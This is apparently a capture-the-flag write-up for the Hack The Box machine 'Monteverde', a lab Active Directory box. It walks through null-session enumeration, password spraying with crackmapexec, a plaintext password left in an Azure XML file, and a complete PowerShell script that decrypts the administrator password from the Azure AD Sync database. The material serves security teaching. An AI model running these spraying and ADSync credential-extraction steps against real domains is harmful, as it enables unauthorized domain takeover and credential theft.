Monteverde - Hack The Box

Monteverde was an Active Directory box on the easier side that requires enumerating user accounts then password spraying to get an initial shell. Then we find more credentials looking around the box and eventually find the MSOL account password which we use to get administrator access.

Summary

  • Get the list of users and groups from a null session on the domain controller
  • Use crackmapexec to spray credentials, find an account that uses the username as the password
  • Find an Azure XML file with a plaintext password from a PSADPasswordCredential object
  • Log in with the credentials, find and decrypt the password for the MSOL account
  • Log in as administrator with the MSOL account password

Portscan

root@kali:~/htb/monteverde# nmap -sC -sV -p- 10.10.10.172
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-12 08:09 EST
Nmap scan report for monteverde.htb (10.10.10.172)
Host is up (0.022s latency).
Not shown: 65516 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-01-12 13:22:26Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49775/tcp open  msrpc         Microsoft Windows RPC

Listing users and groups in AD

With RPC client we can pull the list of users and groups (null sessions are allowed):

root@kali:~# rpcclient -U "" -N 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]

Observations:

  • There’s an Azure Admins group which is not standard by default in Windows unless the domain has been connected to Azure AD with ADSync

We can also retrieve the same information with LDAP using a tool like ldapsearch or windapsearch:

root@kali:~/tools/windapsearch# ./windapsearch.py --dc-ip 10.10.10.172 -U 
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.172
[+] Getting defaultNamingContext from Root DSE
[+]	Found: DC=MEGABANK,DC=LOCAL
[+] Attempting bind
[+]	...success! Binded as: 
[+]	 None

[+] Enumerating all AD users
[+]	Found 10 users: 

cn: Guest

cn: AAD_987d7f2f57d2

cn: Mike Hope
userPrincipalName: mhope@MEGABANK.LOCAL

[...]
root@kali:~/tools/windapsearch# ./windapsearch.py --dc-ip 10.10.10.172 -G 
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.172
[+] Getting defaultNamingContext from Root DSE
[+]	Found: DC=MEGABANK,DC=LOCAL
[+] Attempting bind
[+]	...success! Binded as: 
[+]	 None

[+] Enumerating all AD groups
[+]	Found 48 groups: 

distinguishedName: CN=Users,CN=Builtin,DC=MEGABANK,DC=LOCAL
cn: Users

distinguishedName: CN=Guests,CN=Builtin,DC=MEGABANK,DC=LOCAL
cn: Guests

[...]

Password spraying

To password spray, I usually start with a small wordlist then expand if I don’t find anything. Here, we’ll create a custom wordlist using the smaller rockyou list and the list of users in case some users are using their username as the password:

root@kali:~/htb/monteverde# cat << EOF > users.txt
> Guest
> AAD_987d7f2f57d2
> mhope
> SABatchJobs
> svc-ata
> svc-bexec
> svc-netapp
> dgalanos
> roleary
> smorgan
> EOF
root@kali:~/htb/monteverde# cat ~/tools/SecLists/Passwords/Leaked-Databases/rockyou-10.txt >> users.txt

Then we’ll use crackmapexec to spray the credentials. Another tool like kerbrute could also be used for this since port 88 is open.

root@kali:~/htb/monteverde# cme smb 10.10.10.172 -u /root/htb/monteverde/users.txt -p /root/htb/monteverde/passwords.txt | grep -v FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs

Here we go, we got a valid account: SABatchJobs / SABatchJobs

Checking shares…

root@kali:~/htb/monteverde# cme smb 10.10.10.172 -u SABatchJobs -p SABatchJobs --shares
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs 
SMB         10.10.10.172    445    MONTEVERDE       [+] Enumerated shares
SMB         10.10.10.172    445    MONTEVERDE       Share           Permissions     Remark
SMB         10.10.10.172    445    MONTEVERDE       -----           -----------     ------
SMB         10.10.10.172    445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.10.10.172    445    MONTEVERDE       azure_uploads   READ            
SMB         10.10.10.172    445    MONTEVERDE       C$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       E$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.10.10.172    445    MONTEVERDE       NETLOGON        READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       SYSVOL          READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       users$          READ

While checking the home directories on the server, we find an Azure XML file with another password: 4n0therD4y@n0th3r$

root@kali:~/htb/monteverde# smbclient -U SABatchJobs //10.10.10.172/Users$
Enter WORKGROUP\SABatchJobs's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Jan  3 08:12:48 2020
  ..                                  D        0  Fri Jan  3 08:12:48 2020
  dgalanos                            D        0  Fri Jan  3 08:12:30 2020
  mhope                               D        0  Fri Jan  3 08:41:18 2020
  roleary                             D        0  Fri Jan  3 08:10:30 2020
  smorgan                             D        0  Fri Jan  3 08:10:24 2020

		524031 blocks of size 4096. 519955 blocks available
smb: \> cd mhope
smb: \mhope\> dir
  .                                   D        0  Fri Jan  3 08:41:18 2020
  ..                                  D        0  Fri Jan  3 08:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 08:40:23 2020

		524031 blocks of size 4096. 519955 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (12.9 KiloBytes/sec) (average 12.9 KiloBytes/sec)
smb: \mhope\> exit
root@kali:~/htb/monteverde# cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

We can now connect via WinRM to the server as user mhope:

root@kali:~/htb/monteverde# evil-winrm -u mhope -p 4n0therD4y@n0th3r$ -i 10.10.10.172

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> type ..\desktop\user.txt
4961976bd7[...]

Privesc using the Azure AD Sync database

Ref: https://blog.xpnsec.com/azuread-connect-for-redteam/

Ref2: https://aireforge.com/Tools/DotNetSqlServerConnectionStringGenerator

mhope is part of the Azure Admins group:

*Evil-WinRM* PS C:\Users\mhope\Documents> net users mhope
[...]

Local Group Memberships      *Remote Management Use
Global Group memberships     *Azure Admins         *Domain Users
The command completed successfully.

This group normally has the AAD_xxxxxxxxxx service account created to manage the AD Sync service. Because our user is also a member of that group he also has access to the local SQL server database which contains the encrypted password for the MSOL account.

The ADsync database exist:

*Evil-WinRM* PS C:\Users\Administrator\Documents> sqlcmd -S localhost -Q "select name from sys.databases"
name
---------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
ADSync

(5 rows affected)

The file line of the string from the blogpost had to be modified with the correct connection string: Data Source=localhost;Database=ADSync;Integrated Security=sspi

*Evil-WinRM* PS C:\Users\mhope\Documents> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=localhost;Database=ADSync;Integrated Security=sspi"
*Evil-WinRM* PS C:\Users\mhope\Documents> $client.Open()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd = $client.CreateCommand()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader = $cmd.ExecuteReader()
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Read() | Out-Null
*Evil-WinRM* PS C:\Users\mhope\Documents> $key_id = $reader.GetInt32(0)
*Evil-WinRM* PS C:\Users\mhope\Documents> $instance_id = $reader.GetGuid(1)
*Evil-WinRM* PS C:\Users\mhope\Documents> $entropy = $reader.GetGuid(2)
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Close()
*Evil-WinRM* PS C:\Users\mhope\Documents> 
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd = $client.CreateCommand()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader = $cmd.ExecuteReader()
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Read() | Out-Null
*Evil-WinRM* PS C:\Users\mhope\Documents> $config = $reader.GetString(0)
*Evil-WinRM* PS C:\Users\mhope\Documents> $crypted = $reader.GetString(1)
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Close()
*Evil-WinRM* PS C:\Users\mhope\Documents> 
*Evil-WinRM* PS C:\Users\mhope\Documents> add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’
*Evil-WinRM* PS C:\Users\mhope\Documents> $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
*Evil-WinRM* PS C:\Users\mhope\Documents> $km.LoadKeySet($entropy, $instance_id, $key_id)
*Evil-WinRM* PS C:\Users\mhope\Documents> $key = $null
*Evil-WinRM* PS C:\Users\mhope\Documents> $km.GetActiveCredentialKey([ref]$key)
*Evil-WinRM* PS C:\Users\mhope\Documents> $key2 = $null
*Evil-WinRM* PS C:\Users\mhope\Documents> $km.GetKey(1, [ref]$key2)
*Evil-WinRM* PS C:\Users\mhope\Documents> $decrypted = $null
*Evil-WinRM* PS C:\Users\mhope\Documents> $key2.DecryptBase64ToString($crypted, [ref]$decrypted)
*Evil-WinRM* PS C:\Users\mhope\Documents> $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:\Users\mhope\Documents> $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:\Users\mhope\Documents> $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Domain: " + $domain.Domain)
Domain: MEGABANK.LOCAL
*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Username: " + $username.Username)
Username: administrator
*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Password: " + $password.Password)
Password: d0m@in4dminyeah!

We got the administrator password now: d0m@in4dminyeah!

root@kali:~/htb/monteverde# evil-winrm -u administrator -p 'd0m@in4dminyeah!' -i 10.10.10.172

Evil-WinRM shell v2.0

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\desktop\root.txt
12909612d2[...]